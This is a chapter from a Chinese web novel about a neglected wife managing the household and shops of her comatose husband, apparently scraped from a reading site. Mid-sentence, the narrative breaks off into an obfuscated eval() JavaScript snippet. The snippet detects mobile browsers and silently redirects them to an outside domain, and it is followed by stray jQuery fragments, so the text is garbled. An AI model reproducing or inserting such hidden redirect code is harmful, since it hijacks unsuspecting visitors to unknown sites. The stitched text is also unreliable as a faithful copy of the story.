39. 第 39 章

作品:《冷落我五年的夫君成了植物人

    要说裴敏一辈子最快活的时刻,那便是在今日了,两个孩子在自己的院子里围在她身边叫她“母亲”,简直令她的心都要化了。


    她生命中第一个孩子不是轩哥儿,而是舟儿。


    那时的王瀛舟瘦弱腼腆,小小一只在众人的怂恿下躲在婆母身后叫了她一声“娘”,从此以后,王行之白日不在家就剩了她和这个小不点。


    她教他读《三字经》,陪他玩游戏,生病时在他身边寸步不离。


    而他,也成了她枯燥生活里的一点甜蜜点缀。


    在她疲惫时,总有一双稚嫩的小手主动给她捶着背,问她“娘亲还累不累”,虽然他矮到只能捶着她的尾椎骨;在她孕吐难受时,总有个小小的孩子捧着自己心爱的糖给她,焦急说着“母亲吃糖,吃了就不吐了”;在她为想念自己的孩子而伤心落泪时,这个忽然长大的小孩也会小心翼翼陪在一旁,对她说“母亲,您别难过”。


    想到这些,裴敏心中既欣慰又酸涩,万幸自己没有把这个孩子弄丢在一时的不甘里。


    她暗暗告诉自己,要和从前一样待舟儿好,不为别的,就为他这真心实意的一声“母亲”。


    两个孩子闹累了睡下,裴敏给两人盖好被子,就这么坐在一旁看着两张乖巧的睡颜,身后有人推了门进来,裴敏立刻竖起一根食指抵在唇边,一扭头,却看见了王行之。


    两人各自愣了一会儿,王行之放轻了脚步进来,走到裴敏身边,低声唤了一声:“夫人。”


    裴敏垂着头,鼻子一酸,不敢抬头看他。


    王行之刚从言夫人那儿过来,早已得知了今日的事情,他拉过裴敏的手,说道:“我都知道了,是我和母亲忽视了你的感受,让夫人受委屈了。”


    裴敏摇着头,抬起一张泫然欲泣的脸:“夫君,我那日说的都是气话,不是真心的!”


    “我知道,我都知道。”王行之忙将她揽进怀里,低声安抚,“那都是我的错,是我习惯了夫人的好,对你的付出和退让总觉得理所当然,忘了你是一个母亲,也是一个女人。”


    “是为夫不好。”王行之想起这段时间自己在书房的煎熬,不由叹息一声。


    他何尝不心疼她呢,但也只敢在她夜里睡着后悄悄看她一眼,生怕她醒来自己会一时心软搬回来。


    现在想来,那都是愚蠢的念头。


    裴敏闭上眼睛,在他怀中流尽了心底最后一点心酸的眼泪,从今以后,她就算哭,也该是笑着的。


    王家这边一家子解开心结开始其乐融融,徐素湘自觉完成了作为嫂子的使命,带着哭成泪人的吴姨娘悄悄功成身退,一行人来的时候有多气势汹汹,走的时候就有多悄无声息。


    她对吴姨娘道:“你给四妹妹挑的夫家也还算不错,这回总可以安心了吧?你的事我还没跟四妹妹说,省得这时候给她添堵,日后她回了家,你自己去跟她解释。”


    “是。”吴姨娘此刻对徐素湘只有不尽的感恩,她擦着泪对徐素湘行礼,“奴家过去对夫人多有误解,今时今日方知,夫人待她们姊妹二人实乃真心实意,有夫人护着她们,奴家就算从此青灯古佛,也安心了。”


    就凭她今日敢带着催院使硬闯裴敏的院子,吴姨娘就知道她心中不可能藏奸,如今又为她的敏儿解开多年的心结,她这个嫂子已胜过许多手足。往后,她只管在佛前为她祈福,求佛祖保佑她,一个人也能顺利撑起侯府,那便是她无量的功德了。


    看着吴姨娘和周平家的被婆子们带下去,徐素湘这才回了听澜苑,彩菊在屋中备下了紫苏饮,她拿着琉璃杯喝了两盏,顿时觉得心头畅快了些。


    彩菊估摸着她缓过神来了,方才进来禀道:“张师傅今儿派了徒弟过来传话,说是夫人要打的床他做出来了,问夫人需要什么时候送过来?”


    徐素湘在脑子里想了一会儿,才想起来还有这么一回事,最近事太多,她都快把裴放的那张床给忘了。


    她道:“你去回话,就说让他们现在就送过来。”


    彩菊应声去了,徐素湘坐了片刻,想去找薛氏和苏婉慈说说话,又怕薛氏指责自己今日的行为鲁莽,想了一圈,反正一会要去洗墨庵,她决定先去看看裴放。


    洗墨庵里,青松正和几个小厮给裴放按摩着四肢,知道徐素湘要过来,他把小厮们都遣了出去,给裴放盖好被子,自己直接候在了门口。


    徐素湘一来,青松便悄悄退下,这次他留了个心眼,没给她带上门。


    徐素湘也没在意,此刻小厮们都避了出去,只青松一个人在外面,他素来有分寸,所以并不担心敞着门会被他偷听了去。


    她把昨晚到今天发生的事一股脑都跟裴放说了,最后总结道:“可见,你连四妹夫都不如,人家搬去书房还知道半夜悄悄回去瞧瞧四妹妹,你倒好,搬到书房一年,都想不起我的死活。”


    正在外面竖着耳朵偷听的青松:??夫人关注的点好奇怪。


    虽然他觉得比这个东西很无聊,但他们侯爷也不差好吧?


    尽管他很不想承认,但侯爷守孝一年,在书房时经常半夜望着夫人院子的方向出神,虽然没悄悄去瞧,但也不至于想不起夫人的死活。


    “亏我还让张师傅给你打造新床,想想都觉得不值……”


    她说到这里,发现裴放手指动了动,立刻挑着眉瞪他:“干嘛,你有意见?”


    半晌,裴放老老实实的,再没敢动了。


    徐素湘哼了一声,起身绕过起居厅,到了裴放的书房,在几案上看见了林嬷嬷前几日放在这儿的账簿,她每一本都翻了一下,看了个大概。


    这二十八间店铺也是每三个月结算一次盈利,粗粗一算,总共有近七八万两的收益,其中只有一家是亏损的,徐素湘把那间店铺记下,准备以后抽个空亲自去瞧瞧。


    她算完了账,伸个懒腰,又踱去裴放卧室,坐在床前对他道:“想不到你这么经营有方,也不知道是从哪儿学的?”


    裴放自然不可能回答她,她也用不着裴放开口,自己从善如流道:“现在整个侯府里,就数你最花钱,那一张床抵普通人家一辈子的嚼用了,你又不理事,我一个人养着一大家子人,唉……那二十八间铺子的收益我就先帮你收着,你要是有意见,你就动动手指头。”


    说着,她起身给裴放掖了掖被角,顺便把他的手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581699|170225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    塞进了被窝里,嘴上边道:“侯爷既然没意见,那我就派人去结算银子了?张师傅打的床马上就到,一会儿我亲自盯着,包你满意!”


    青松听着,在心里又记了她一笔。


    什么叫阖府里就他们侯爷最花钱?


    他们侯爷如今躺着上哪花钱去?不过打了一张床,夫人就要走了侯爷在京城的二十八间铺子,这不是明抢是什么?!


    再说了,哪来的一大家子?府里除了她就是侯爷,说的好似府里要揭不开锅了一样。


    上回侯爷少吃了半碗粥,八成是被夫人像今日这样气着了,等侯爷醒来,他定要如实回禀。


    若是侯爷醒不来……那就当他没说过。


    一刻钟后,张师傅带着他的徒弟到了,新打的床得在屋里现装,徐素湘想了想,这折腾一下未免扰了裴放的清静,于是她命小厮在隔壁小院的花树下摆了两张躺椅,让青松把裴放背过去避一避。


    美其名曰,让侯爷偶尔在室外晒晒太阳也挺好。


    青松小心翼翼地把裴放放倒在躺椅上,再次在心中记了徐素湘一笔。


    理由是:瞎折腾侯爷,故意让他晒太阳。


    并不知道自己已经犯下累累恶行的徐素湘躲了个懒,在裴放旁边的躺椅上美美躺下,准备在这打个盹。


    这间院子里没住人,但隔几日就会有专门负责的丫鬟来打理,里头种了两株有些年头的梨树,此时正是开花的时节,一簇簇洁白的花朵攀满了枝头,仰头望去,如云似雪,淡雅非常。


    院子外面有红菱守着,没有哪个不长眼的敢莫名闯进来,隔壁洗墨庵有青松盯着,也不怕张师傅等人干活不认真。


    徐素湘想着,惬意地打了个哈欠。


    日光透过花影细碎地投照在两人身上,像是重新给衣衫织上了金色的图案,徐素湘扭头看去,有一缕光漏下,正正落在了裴放的眉眼上。


    因许久没出门,他的皮肤比以往白了一些,唇色也淡,只有鼻梁依旧高挺。


    从徐素湘的角度看去,在日光中闭着眼的裴放有一种沉静如水,高洁不可侵犯的冷肃之感。


    “唔,他的眉眼,生的可真好看啊……”


    徐素湘困倦地眨着眼睛,低声喃喃,侧着身子欣赏了一会儿,她强撑着眼皮从袖子里掏出了自己的绢帕,折了三折,坐起来将帕子正正盖在了裴放的眼睛上。


    指尖触到裴放的脸颊,她犹豫了一下,顺手掐了一把:“这么好看的人,怎么就这么可恶!”


    裴放的手指动了动,大概是想要抗议。


    但抗议无效,徐素湘无视了他。


    午后的微风徐徐吹来,白色的花瓣颤抖着簌簌落下,翩跹着藏进她的发丝,又顽皮地落在他的唇上。


    徐素湘一愣,好一会儿才抬起手,把花瓣从他唇边拈起,柔软的指腹擦过他略带温度的唇,令她一瞬间的失神,捻碎了指尖的花瓣。


    困意全无,徐素湘仰头看着花团满枝,觉得来这里小憩简直蠢透了。


    她得去隔壁看看张师傅把床搭好了没。


    石榴红的裙摆匆匆扫过满地的细碎花瓣,竟有一丝落荒而逃的意味。